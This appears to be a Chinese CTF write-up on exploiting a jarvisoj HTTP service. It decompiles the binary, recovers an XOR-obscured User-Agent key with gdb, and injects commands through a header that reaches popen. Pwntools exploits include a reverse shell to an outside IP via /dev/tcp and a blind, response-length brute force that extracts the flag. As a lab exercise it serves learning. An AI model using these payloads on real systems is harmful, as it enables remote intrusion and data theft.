用ida打开之后可以看到这是一个http服务用fork创建了新的进程来处理连接。
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{__int16 s; // [rsp+0h] [rbp-20h]uint16_t v4; // [rsp+2h] [rbp-1Eh]uint32_t v5; // [rsp+4h] [rbp-1Ch]__pid_t v6; // [rsp+14h] [rbp-Ch]int v7; // [rsp+18h] [rbp-8h]int fd; // [rsp+1Ch] [rbp-4h]signal(17, handler);fd = socket(2, 1, 0);if ( fd < 0 ){perror("socket");exit(-1);}memset(&s, 0, 0x10uLL);s = 2;v5 = htonl(0);v4 = htons(1807u);v7 = bind(fd, (const struct sockaddr *)&s, 0x10u);if ( v7 < 0 ){perror("bind");exit(-1);}v7 = listen(fd, 64);if ( v7 < 0 ){perror("servfd");exit(-1);}while ( 1 ){while ( 1 ){::fd = accept(fd, 0LL, 0LL);if ( ::fd >= 0 )break;perror("confd");}v6 = fork();if ( v6 >= 0 ){if ( !v6 ){close(fd);sub_40137C(::fd);exit(-1);}close(::fd);}else{perror("fork");}}
}
监听端口为1807
子进程里第一个函数的第一个函数
char *__fastcall sub_40125D(int a1)
{int v1; // eaxchar buf; // [rsp+1Fh] [rbp-211h]char s[520]; // [rsp+20h] [rbp-210h]int v5; // [rsp+228h] [rbp-8h]int v6; // [rsp+22Ch] [rbp-4h]v6 = 0;while ( 1 ){v5 = read(a1, &buf, 1uLL);if ( v5 < 0 )break;if ( v5 ){v1 = v6++;s[v1] = buf;if ( v6 <= '\x03' || s[v6 - 1] != '\n' || s[v6 - 2] != '\r' || s[v6 - 3] != '\n' || s[v6 - 4] != '\r' )continue;}goto LABEL_10;}perror("read");
LABEL_10:s[v6] = 0;if ( (unsigned int)sub_40116C(s) )return 0LL;if ( s[0] )return strdup(s);return 0LL;
最后4个字符是\r\n 根据http报文格式报文头和报文体之间有个空行
跟进下面第一个函数
signed __int64 __fastcall sub_40116C(const char *a1)
{char s; // [rsp+10h] [rbp-8230h]char v3; // [rsp+8010h] [rbp-230h]char v4; // [rsp+8210h] [rbp-30h]char *v5; // [rsp+8238h] [rbp-8h]v5 = strstr(a1, "User-Agent: ");if ( !v5 )return 0LL;__isoc99_sscanf(v5, "User-Agent: %32s\r\n", &v4);if ( !(unsigned int)sub_400FAF((__int64)&v4) )return 0LL;v5 = strstr(a1, "back: ");if ( !v5 )return 0LL;__isoc99_sscanf(v5, "back: %512[^\r]s\r\n", &v3);sub_40102F(&v3, &s, 0x8000);puts(&s);sub_4010DF(fd, &s);return 1LL;
}
我们的报文里需要有
User-Agent:
back:
sub_400FAF对key进行了加密
sub_40102F中执行了popen函数我们可以让程序执行到这里来获取shell
关键的就是key是什么
接下来我们跟进sub_40102F对key分析
signed __int64 __fastcall sub_400FAF(__int64 a1)
{int v2; // [rsp+1Ch] [rbp-14h]const char *s; // [rsp+20h] [rbp-10h]int i; // [rsp+2Ch] [rbp-4h]s = sub_400D30(off_601CE8);v2 = strlen(s);for ( i = 0; i < v2; ++i ){if ( (i ^ *(char *)(i + a1)) != s[i] )return 0LL;}return 1LL;
}
只是简单的异或需要找出来s没有设计到我们输入的东西直接用gdb跟就行了
关于调试进程上篇有说。
我们用浏览器访问用浏览器来获取输入
直接在0x400fca下断
RAX: 0x11885b0 ("2016CCRT")
RBX: 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x401645 --> 0x726f727265007200 ('')
RDI: 0x7ffe02051c40 --> 0xff000000fbad8001
RBP: 0x7ffe02051ed0 --> 0x7ffe0205a120 --> 0x7ffe0205a360 --> 0x7ffe0205a390 --> 0x7ffe0205a3c0 --> 0x401550 (push r15)
RSP: 0x7ffe02051ea0 --> 0x0
RIP: 0x400fca (mov QWORD PTR [rbp-0x10],rax)
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x401645 --> 0x726f727265007200 ('')
R12: 0x400b90 (xor ebp,ebp)
R13: 0x7ffe0205a4a0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]0x400fbb: mov rax,QWORD PTR [rip+0x200d26] # 0x601ce80x400fc2: mov rdi,rax0x400fc5: call 0x400d30 => 0x400fca: mov QWORD PTR [rbp-0x10],rax0x400fce: mov rax,QWORD PTR [rbp-0x10]0x400fd2: mov rdi,rax0x400fd5: call 0x4009f0 <strlen@plt>0x400fda: mov DWORD PTR [rbp-0x14],eax
[------------------------------------stack-------------------------------------]
0000| 0x7ffe02051ea0 --> 0x0
0008| 0x7ffe02051ea8 --> 0x7ffe0205a0f0 ("Mozilla/5.0")
0016| 0x7ffe02051eb0 --> 0x0
0024| 0x7ffe02051eb8 --> 0x800000000
0032| 0x7ffe02051ec0 --> 0x1188420 ("2016CCRT")
0040| 0x7ffe02051ec8 --> 0x19577170
0048| 0x7ffe02051ed0 --> 0x7ffe0205a120 --> 0x7ffe0205a360 --> 0x7ffe0205a390 --> 0x7ffe0205a3c0 --> 0x401550 (push r15)
0056| 0x7ffe02051ed8 --> 0x4011c7 (test eax,eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, valueBreakpoint 1, 0x0000000000400fca in ?? ()
这里的s加密之后就是2016CCRT
我们的key=”2016CCRT”^i
接下来写exp
#!/usr/bihn/env python
from pwn import *
#context.log_level="debug"command="/bin/bash -c 'sh -i >& /dev/tcp/10.134.166.21/8080 0>&1'"p=process("./http")
#Io=remote("pwn.jarvisoj.com",9881)
Io=remote("127.0.0.1",1807)
key="2016CCRT"
flag=""
for i in range(len(key)):flag+=chr(ord(key[i])^i)
payload=""
payload+="GET / HTTP/1.1\r\n"
payload+="User-Agent: "+flag+"\r\n"
payload+="back: %s\r\n"%command
payload+="\r\n\r\n"
sleep(1)
Io.send(payload)
sleep(1)
print Io.read()
这里用了反弹shell本地只需要监听对应端口就行了
监听命令
sudo nc -lvvp 8080
就可以在本地获取shell了
但是我在服务器上不知道什么原因不行
[+] Opening connection to pwn.jarvisoj.com on port 9881: Done
HTTP/1.1 500 Internal Server Error
Content-Length: 5Error
[*] Closed connection to pwn.jarvisoj.com port 9881
[*] Stopped process './http' (pid 28223)
很扎心不过道高一尺魔高一丈,咱们可以通过返回的Content-Length值来判断一些东西
v6 = strlen(a2);if ( (signed int)v6 <= 0 )return write(a1, "HTTP/1.1 500 Internal Server Error\r\nContent-Length: 5\r\n\r\nError", 0x3EuLL);
这里判断返回的数据如果长度为0的话就会输出Content-Length: 5
我们可以直接判断某个数据是否在flag里面。
cat flag|awk '{
if(substr($1,2,1)=="4") print "A"}'
substr函数第一个参数是输入的字符串的指针,第二个参数是输出字符串的地几位开始,第三个参数是输出的字符串的长度
这里需要判断我们爆破测试的字符是否在flag字符串里面
#!/usr/bihn/env python
from pwn import *
import os
#context.log_level="debug"#command="/bin/bash -c 'sh -i >& /dev/tcp/10.134.166.21/8080 0>&1'"
f=""
for p in range(40):for char in string.printable:command="cat flag|awk '{if(substr($1,%d,1)==\"%s\") print \"%s\"}'" % (p+1, char, "A")#p=process("./http")Io=remote("pwn.jarvisoj.com",9881)#Io=remote("127.0.0.1",1807)key="2016CCRT"flag=""for i in range(len(key)):flag+=chr(ord(key[i])^i)payload=""payload+="GET / HTTP/1.1\r\n"payload+="User-Agent: "+flag+"\r\n"payload+="back: %s\r\n"%commandpayload+="\r\n\r\n"Io.send(payload)x=Io.read()Io.close()os.system("clear")print "flag="+fif "500" in x:continuef+=char
print "flag="+f
爆破出来flag
爆破的需要,我们能单个验证,每一个输入的字符都能判断是否正确
在这里构造输入的正确跟错误的值会产生不同的结果。
通过构造命令,能判断每一个字符是否正确。